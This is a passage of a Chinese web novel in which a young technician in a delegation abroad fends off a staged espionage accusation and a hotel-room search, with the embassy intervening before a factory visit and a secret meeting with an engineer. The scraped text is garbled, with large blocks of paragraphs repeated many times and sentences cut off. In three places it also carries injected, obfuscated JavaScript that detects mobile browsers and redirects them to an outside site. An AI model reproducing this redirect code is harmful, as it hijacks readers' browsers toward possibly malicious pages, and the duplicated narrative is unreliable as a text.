周副部长则更多地参与着商务层面的接触与政策方向的探讨。 技术交流会表面看起来十分平稳,可姜海棠一点都不敢掉以轻心,她觉得,汉斯在憋着大招。 有好几次,她在不经意中看到了汉斯阴沉的目光如同跗骨之蛆。 而且,汉斯的这种目光似乎都是落在她身上。 而克劳斯更是憋着一股劲,在几次技术讨论中试图用更复杂的理论刁难姜海棠。 无奈,姜海棠 以扎实的基础和惊人的理解力巧妙化解,甚至还能反过来提出更优的思考路径。 这非但没能打压姜海棠的锋芒,反而让她在D国工业协会内部获得了不小的名声——一个来自红色中国的、不可思议的年轻技术天才。 面对姜海棠这种蒸蒸日上的局面,汉斯感到了前所未有的威胁。 这个年轻的中国女人展现出的潜力,不仅意味着他精心构筑的技术壁垒正在被窥探,更意味着华国可能真的找到了**的钥匙。 一旦让华国人掌握了**的钥匙,以后,他和他的团队,甚至是整个D国将会蒙受巨大的损失。 他必须做点什么,彻底扼杀这个苗头。 他不能让华国出现一点点崛起的可能。 这日,代表团刚结束一个工厂参观回到酒店。 姜海棠回到房间,习惯性地准备整理今天的笔记,并进入睡梦空间进行更深层次的推演。 这些天,也不知道是不是在现实里充分汲取了知识的缘故,她每天晚上都能进入夜梦空间的书房里看书。 这让姜海棠有一个猜测,进入叶梦空间的钥匙就是她掌握的新知识。 不过,姜海棠目前没有时间和精力对此做验证,她要抓紧每一分钟的时间,认认真真地学习。 然而,她刚拿起桌上那本厚厚的、记录着钱老资料核心要点和自己推演过程的笔记本,房门就被急促地敲响了。 打开门,站在门口的是两名穿着便装但神情严肃的D国人,身后跟着酒店经理,脸色发白。 其中一人亮出证件,是D国经济安全部门的官员。 “你是来自华国的姜海棠女士?”为首的中年男人,有着一双鹰隼般的眼睛,语气冰冷。 姜海棠点头:“是的。” “我们是D国经济部安全局的。我们接到可靠举报,指控你非法持有并意图窃取D国严格管控的工业**。根据法律,我们需要对你的房间和个人物品进行搜查,并请你配合我们的调查。” 对方的语气不容姜海棠拒绝。 姜海棠知道,这肯定是汉斯干的,可她现在没有办法指证汉斯。 可作为一名华国人,还是来交流的人员,她不能就这样让D国的人搜查自己的房间。 如果就这样让他们搜查了自己的房间,那就是给国家脸上抹黑。 姜海棠食指和拇指无意识地搓着,很快就冷静下来。 她没有后退,反而往前半步,挡住了对方要往里闯的势头。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972185|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 “搜查可以,但按照国际惯例,需要有我国代表团负责人在场。”她每个词都咬得清晰,“另外,我需要先联系我国大使馆,这是《***外交关系公约》赋予我的权利,贵国作为缔约国,应该清楚。” 为首的鹰隼眼官员皱眉:“只是例行调查,没必要这么麻烦。” 华国人就是讨厌,难怪汉斯这么讨厌这个华国女人。 “是不是麻烦,得看你们要查的是什么。”姜海棠侧身让开半步,却没让他们进门,“我房间里有从贵国图书馆借来的公开资料,有我国代表团的会议记录,还有我个人的学习笔记,这些都可以公开,但必须在我方人员见证下检查。” “我们现在就要搜查,请你配合我们的工作。” 对方显然没有将姜海棠一个女人放在心上,在他们看来,只要态度足够强硬,肯定能进入姜海棠的房间搜查。 姜海棠却坚定地将他们堵在门外。 “请你们遵守《外交关系公约》,在我方人员未到达之前,我拒绝你们进入我的房间。” 对方显然没有耐性了,想对姜海棠动粗,但在他们动手的过程中,却被姜海棠反制。 最可怕的是,他们都没有看到姜海棠有什么大动作,他们却都被制住。 难不成,这个女人会所谓的华国功夫? 立刻,他们看向姜海棠的目光中多了几分审视的意思。 他们不能相信,他们不是一个看着娇弱的华国女人的对手。 气氛僵持住,有种一触即发的感觉。但姜海棠依旧坚定地站在对面,以单薄的身躯,坚定地阻止对方。 第239章 妥善处置 话音刚落,走廊里就传来急促的脚步声。姜海棠看过去,正好看到周副部长和邹明快步走来。 “什么事?周副部长站到姜海棠身边,目光扫过两名便装官员。 “有人举报,这位小姐非法持有并意图窃取D国严格管控的工业**。我们需要对你的房间和个人物品进行搜查,但是这位小姐拒不配合我们的搜查。其中一名官员傲慢地说道。 甚至,那语气里,似乎表露出让周副部长劝说姜海棠接受搜查的意思。 “我是华国代表团团长,要搜查我团成员的房间,先出示你们的搜查令,再等我国大使馆工作人员到场。 周副部长说完之后,这一次是翻译出面翻译的。 姜海棠并没有出面,毕竟,现在两方对峙,她翻译有点不太合适,也不好看。 周副部长特意加重了“搜查令三个字,他获悉消息的时候,正好和邹明在一起。 根据邹明的说法,这种临时“指控根本没经过司法备案。 鹰隼眼官员的脸色沉了沉。 他接到的命令是“速战速决 哪怕是几句关于工厂设备的描述,都能扣上“窃取机密的帽子。 可现在这位自称是代表团长的人很明确地把“大使馆搬出来。 他要是强行搜查,万一被捅到外交层面,汉斯可不会替他担责。 “我们有举报记录。他从口袋里掏出一张纸,上面潦草地写着“姜海棠持有**纺织厂核心参数。 姜海棠忽然笑了:“这参数是**纺织厂的工程师主动跟我讨论的,他们厂的设备手册在贵国的书店能买到,要不要我现在让我们这边的工作人员去买一本,证明这不是‘机密’? 姜海棠倒是无所畏惧,这些东西,她手里确实有,所以干脆不遮不掩。 既然是公开可以买到的,那就不涉及机密。 鹰隼眼官员的手指捏紧了一些,他盯着在场的几个人看,每一个人的脸上都很坦然,没有一丝惧怕的意思。 他忽然意识到,眼前这伙人根本不是汉斯说的“随便吓吓就会慌的软柿子。 尤其是这个年轻女人,胆子更是大得很呢,一个人也敢硬抗他们,甚至,他当时有种感觉,如果自己坚持搜查,这个年轻女人可能不惜与他们动手。 而这位代表团的团长站在那里,脊背挺得笔直,眼神里的沉稳,是见过大场面的样子。 他们的态度如此坦然, 倒是让这两位官员有些忐忑。 正在这时候,酒店经理急匆匆地跑过来。 “是……是警察局打来的,波尔先生,大使馆工作人员已经在来的路上了。 酒店经理是认识这位波尔先生的。 被称之为波尔先生的官员盯着姜海棠看了几秒,忽然收起证件。 “既然是误会,那我们就不打扰了。 他转身就走,却被姜海棠拦住了。 “波尔先生,既然是误会,难道您不应该向我道歉吗?姜海棠目光定定地盯着波尔,那态度再明确不过,只要对方不道歉,她肯定不会放对方离开。 波尔没想到,这个年轻女人竟然会如此难缠,当场脸色更黑了。 “这位小姐,你想让我给你道歉?波尔咬牙切齿地问。 “难道不应该道歉吗?姜海棠十分坚持。 她现在代表的是国家的颜面,绝对不能退让。 “如果您坚决不向我道歉,我有权利请求我国大使馆出面与贵国进行协商处理。 姜海棠这句话,无疑是告诉波尔,她不惜把事情闹大,只为一个道歉。 波尔最终黑着脸向姜海棠道歉之后,急匆匆地走了。 他脚步比来时快了不少,再不走,等华国大使馆的人到了,连台阶都没了。 到时候事情闹大了,所有的责任估计都要让他一个人承担。 看着波尔和随行的另外一名官员离开,周副部长才松了口气,他拍了拍姜海棠的肩膀,赞许地说道:“没慌,好样的。 邹明也看着姜海棠笑:“汉斯肯定没想到,你会如此应对。 “我之前正好看到这些内容了。姜海棠邀请二人到自己的房间,然后把桌上的笔记本递给周副部长看。 “我们是来学东西的,不是来偷东西的,身正不怕影子斜。 话虽然如此说,但姜海棠却还是多留了一个心眼,看起来,这段时间,就算通过在夜梦空间的学习能学到不少知识,还是不要留下纸上的痕迹,免得走的时候有麻烦。 汉斯今天闹的这一回,也算提醒她了。 窗外,汉斯坐在黑色轿车里,看着两名便装官员空手出来,狠狠捶了下方向盘。 他怎么也想不通,一个二十来岁的华国姑娘,怎么会比那些老外交官还难对付。 房间里,周副部长正在请求服务台拨出大使馆的电话。 “事情已经处理清楚,请大使馆的同志不用急着过来了,他们已经走了! 但是得到的消息是,大使馆的人已经出发了,预计再有十分钟左右就能到。 知道没有办法阻拦,周副部长索性也就不阻拦了,放下电话继续与姜海棠说话。 姜海棠靠在窗边,看着汉斯的车绝尘而去。 “汉斯已经离开了。也不知道这一次之后,他还会不会有所行动。 “或许还会有下一次,不过,他应该不会像这一次这样鲁莽的行动了。邹明说道。 不久之后,走廊里传来一阵急促而稳重的脚步声。 姜海棠抬头望去,只见三名穿着笔挺中山装的同志快步走来。 “你好,我是驻D国大使馆参赞郑国栋。 开口说话的人四十五六岁的样子,面容刚毅,步伐沉稳。 他身后跟着两名年轻些的随员,其中一人手里提着黑色公文包,神情严肃。 周副部长也没有想到,大使馆直接安排了参赞过来。 他忙起身握手:“郑参赞您好,我是代表团团长周翰文。 郑参赞声音压得极低却字字有力,“接到电话我们就立刻出发了,到底怎么回事? “事情已经妥善出来,对方道歉后离开,我给大使馆打电话,您已经出发了。周副部长忙开口说。 “事情得到妥善处置就好,不过,还要请您仔细说一下刚才发生的事。 周副部长向郑参赞介绍了一下姜海棠,“就让姜海棠同志讲述一下事情的经过吧。 姜海棠也没推辞,简要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976481|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明了事情经过。 姜海棠注意到,郑参赞听到“纺织厂设备手册时,眉头微微舒展,但听到“波尔这个名字时,眼神骤然锐利起来。 “又是这个波尔!“郑参赞从牙缝里挤出几个字。 “郑参赞,您也知道这个波尔?周副部长立即问。 “知道,这个波尔,非常讨厌华国,和一些反对华国的人走得十分近,尤其是和汉斯集团,十分亲近,经常勾连在一起,给华国人制造麻烦。 说完这一句之后,他转头对随员低声交代:“小张,立刻去查查这个最近一段时间波尔和汉斯集团的往来记录,我记得上个月经济参赞那边有过简报。 年轻的随员点头快步离去。 郑参赞这才转向姜海棠,目光中带着赞许:“姜海棠同志是吧?你处理得很好。这些年来,他们用‘窃取机密’的帽子扣过我们不少同志,有些人碍于外交礼仪忍气吞声,反倒让他们变本加厉。 “我只是担心会给华国和大使馆惹来麻烦。” “不算麻烦,再说了,在D国,大使馆就是你们最坚实的后盾,不会眼睁睁看着你们被欺负。” 周副部长递过一支烟,郑参赞接,两人低声交谈。 “这事恐怕还没完,这几天,汉斯已经不止一次对我们动手,这次失手,下次可能会从其他方面……” 听到周副部长如此说,郑参赞有些奇怪。 “汉斯集团虽然极度敌视我们华国,但连续针对以前倒是没有发生过。” 周副部长将近期姜海棠解决了进口设备维修问题的事情说了。 “原来如此,破坏了汉斯的赚钱计划,难怪他会如此疯狂。我知道了,等我回到大使馆之后,会将相关情况进行汇报,也会提前防范。不过,你们也要小心,不要被抓到把柄。” 说完之后,郑参赞又给他们泄露了一个消息:“我们这边的记者同志前几天不小心拍到汉斯和工业部官员私下会面的照片。有些D国同志,对汉斯集团垄断技术、漫天要价的做法也很不满。” 姜海棠心头一震。 她突然明白钱老先生那份资料是怎么来的了,这背后是一个庞大而隐秘的网络,是无数海外华人和国际友人默默编织的情报网。 邹明同志也瞬间激动起来,这个消息确实是个好消息啊,或许,可以用到刀刃上。 “另外,根据我们了解到的,汉斯集团向某国出售的设备,存在不按照规定型号出口,而是用了简化版的劣质技术。这个把柄,在适当的时候放出去,够他们喝一壶的。” 郑参赞又放出一个**。 在场几个人被一个接一个的惊喜给搞蒙了,只有郑参赞,说完之后,一脸淡然,似乎什么都没说一样。 甚至,他还不急不缓地和姜海棠聊起技术方面的问题。 不多时候,随员小张回来了,手里多了一份文件。 郑参赞快速浏览后,嘴角浮现一丝冷笑:“波尔上个月刚收受汉斯集团一笔咨询费。D国正在推动反垄断调查,这份材料送过去……” 周副部长听完之后,很是高兴,就差哈哈大笑出声了。 邹明严肃地说道:“海外爱国同胞的商会,向本国政府举报商业贿赂,再正常不过。” 第240章 参观 众人会心一笑。 姜海棠忽然想起什么,从抽屉里取出一个笔记本递给郑参赞:“这是我这几天整理的一些思路,原本觉得没什么,但从今天的情况看,只怕放在我这里应该不安全了。” 郑参赞将姜海棠的本子接过去,点头说:“你的考虑很周到,说不定,很快就会有下一次行动了。” 这时,走廊里突然传来一阵嘈杂声。 酒店经理慌慌张张跑来:“各位先生,楼下有记者说要采访华国代表团!” 郑参赞和周副部长对视一眼,立即明白了对方的用意,这是要借媒体施压。 郑参赞当机立断:“周团长,您和姜海棠同志留在房间里,这里交给我应付。” “不行。”姜海棠突然开口,“郑参赞,他们的要求是采访代表团,如果您出面,说不定会被对方抓住不放。既然他们要采访,不如我们正面回应。”她指了指另外一个笔记本,“这些都是公开资料,正好借这个机会展示我们学习的诚意。” 郑参赞拿过旁边的另外一本笔记,简单地翻看了一下,露出赞许的目光:“有道理。不过要注意分寸,只谈技术交流,不提其他。” 十分钟后,酒店大堂里挤满了记者。 姜海棠站在镜头前,用流利的德语介绍着代表团的学习成果:“我们特别关注贵国在精密加工领域的研究,比如这本《机械制造月刊》上介绍的……” 她侃侃而谈的样子让在场记者都惊讶不已。 记者问的问题十分刁钻,目的就是要让姜海棠说出不利华国代表团的信息,可是,姜海棠的思维逻辑十分严密,只在交流和学习两个方面说,其他的,只字不提。 第二天,当地报纸刊登了采访内容,标题是《华国技术人员的专业素养令人钦佩》。 与此同时,一封匿名**也被送到了D国反垄断调查委员会。 三天后的技术交流会上,汉斯没有出现。 主持会议的是施密特博士,他对华国代表团格外热情:“我们注意到贵方对技术交流的诚意,希望能开展更深层次合作……” 当晚,她在睡梦空间的书房里继续学习,短短的几天时间,姜海棠觉得,学习到的内容,比在国内半年时间学习到的还要多。 她现在算是知道了,开启睡梦空间的钥匙,就是新知识点,有了新知识点,就能打开睡梦空间,学习到相关的知识。 在国内显然没有在D国这样的便利条件。 在这里交流的过程中,不时就会有一 个新的知识点冒出来。 唯一让姜海棠遗憾的就是,这些从睡梦空间里学习的内容,暂时不能梳理出来,只能储存在脑海里。 她还担心,万一时间长了,脑海里积累的知识太多,混乱了怎么办。 因此,每天早上起床之后,姜海棠都会将相关内容复习一下。 “海棠同志,该出发了。”工作人员在门外轻声提醒,将还在回忆学习内容的姜海棠惊醒了。 今天代表团要参观D国著名的克虏伯精密机械厂,这是施密特博士特意安排的行程。 姜海棠将笔记本锁进抽屉,换上了那套藏蓝色的确良套装,这是出国前部里同意发放的“外交服”。 穿在身上,气质大有不同。 工厂坐落在莱茵河畔,巨大的厂房在阳光下泛着金属光泽。 代表团刚下车,就看见施密特博士带着几位工程师迎上来。 “周团长,今天我们特别安排了数控机床车间。”施密特热情地握手,目光却不时瞟向姜海棠,“听说姜同志对自动化控制很有研究?” 姜海棠心头一紧。 这个车间作为新鲜出现的事物,可以说,代表了当前的最高生产力,通常不对外国代表团开放,更别说华国代表团了。 她悄悄看了眼周副部长,后者微不可察地点了点头。 车间的景象让所有人都屏住了呼吸,十几台崭新的数控机床整齐排列,机械臂正在自动换刀,显示器上跳动着复杂的参数。 这是当前最先进的制造技术,比国内现有的设备领先至少十年。 姜海棠看着,只觉得眼睛都红了,要是国内也能有这样的制造技术该多好啊! “这是我们最新研发的KPM-75型。”总工程师指着中央那台巨型设备自豪地介绍,“采用闭环控制系统,重复定位精度达到0.001毫米。” 代表团成员们发出惊叹。 姜海棠却盯着控制柜若有所思,这个设计她在睡梦空间里曾经看到过图纸,但好像眼前这台明显做了简化处理。 “姜小姐似乎有不同见解?”施密特突然发问。 所有人的目光都**过来。 姜海棠深吸一口气,走到设备前,发出感慨:“很精妙的伺服系统。不过如果在这里增加一个温度补偿模块,应该能解决热变形导致的精度漂移问题。” 现场突然安静得可怕。 总工程师的脸色变了又变,最后竟激动地握住姜海棠的手。 “上帝啊!我们花 了三个月都没找到的症结!您是怎么……” “理论推导。”姜海棠微笑,“金属热膨胀系数与控制系统反馈存在非线性关系。” 相反,华国这边代表们看向姜海棠的目光就有些微妙了。 在他们的认知里,就算姜海棠看出了问题,也不应该指出来,毕竟,指出来,就等于帮了别人。 但后续的参观中,对方对他们这一行人的热情很明显增加了不少,不光允许他们近距离的参观,甚至还同意他们亲自动手。 很快,代表团的人就理解了姜海棠今天指出对方不足的行为。 回程的车上,代表团气氛热烈。 周副部长却把姜海棠叫到身边,低声道:“今天太冒险了。” “我知道,周副部长。”姜海棠捏着衣角,“但这是取得他们信任的最好机会。而且……” 她从口袋里掏出一张折叠的纸条,“这是总工程师悄悄塞给我的。” 周副部长展开纸条,上面写着一串电话号码和一个地址:“这是?” “他私人实验室的邀请,说有些‘真正的技术’想和我探讨。” 周副部长眉头紧锁:“可能是陷阱。” 姜海棠可是大宝贝,他不能允许姜海棠出现任何风险。 “也可能是突破口。”姜海棠目光坚定。 如果不冒险,她难以掌握到核心技术,毕竟,因为缺少相关的知识点,睡梦空间里,她也只是看到了一个大概的图纸,并没有办法将图纸转化为技术和机械。 如果这一次,和总工程师多聊几句,说不定,就能开启睡梦空间中的新的知识领域。 为了这个,姜海棠觉得,就是冒险也是值得的。 而此时的汉斯的家里。 汉斯把威士忌重重砸在桌上。 停职调查的通知就摆在眼前,更让他愤怒的是今早收到的消息,克虏伯工厂居然向华国人展示了核心车间! 他所在的集团和克虏伯工厂可是竞争关系,克虏伯工厂这是打算做什么?难道打算拿下华国这个市场? “老板,有新情况。”秘书匆匆进来,递上一份监控报告,“那个华国女人去了城东咖啡馆,单独见了克虏伯的总工程师。” 汉斯眯起眼睛。 他按下通话键:“克劳斯,带上相机,跟我走一趟。” 咖啡馆里隐蔽的房间里,姜海棠正在笔记本上画着示意图:“所以您认为谐波减速器的关键在于柔性轴承的材料?” “正是!”总工程 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976482|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 不知道为什么,沃尔夫冈就是觉得,眼前这个年轻的东方女人能够帮到自己,或许在她只是简单的参观中就能指出问题的时候,他就已经相信眼前的人不一般了。 但还不等姜海棠说话,他突然警觉地说道:“这里不安全,明天来我安排人接你到我的实验室。” 姜海棠也是谨慎的人,立即意识到有问题,因此,她立即改变话题。 “关于今天的机床,我很有兴趣,我希望贵厂能够给我们提供一套设备……” 相当然的,关于购买机床这个话题,双方没有能够达成共识,最终,两个人不欢而散。 姜海棠从咖啡馆里气呼呼的离开。 回酒店的路上,姜海棠刻意绕了几条小巷,装作一副闲逛的样子,甚至,还买了几样小玩意儿,这才回到酒店。 姜海棠将今日与沃尔夫冈的谈话向周副部长汇报。 “海棠,不管什么时候,你的安全是最重要的,有人,才能有技术!”周副部长语重心长的对姜海棠说道。 虽然华国需要新技术,可新技术不能用人命填。 沃尔夫冈的私人实验室藏在城郊一栋老建筑里。 姜海棠刚进门,就被满墙的设计图纸震撼了,这才是真正的尖端技术,比工厂展示的先进得多。 师沃尔夫冈压低声音,“但我们被材料配方卡住了。不知道姜小姐在这方面能不能给我们提供一些支持?” 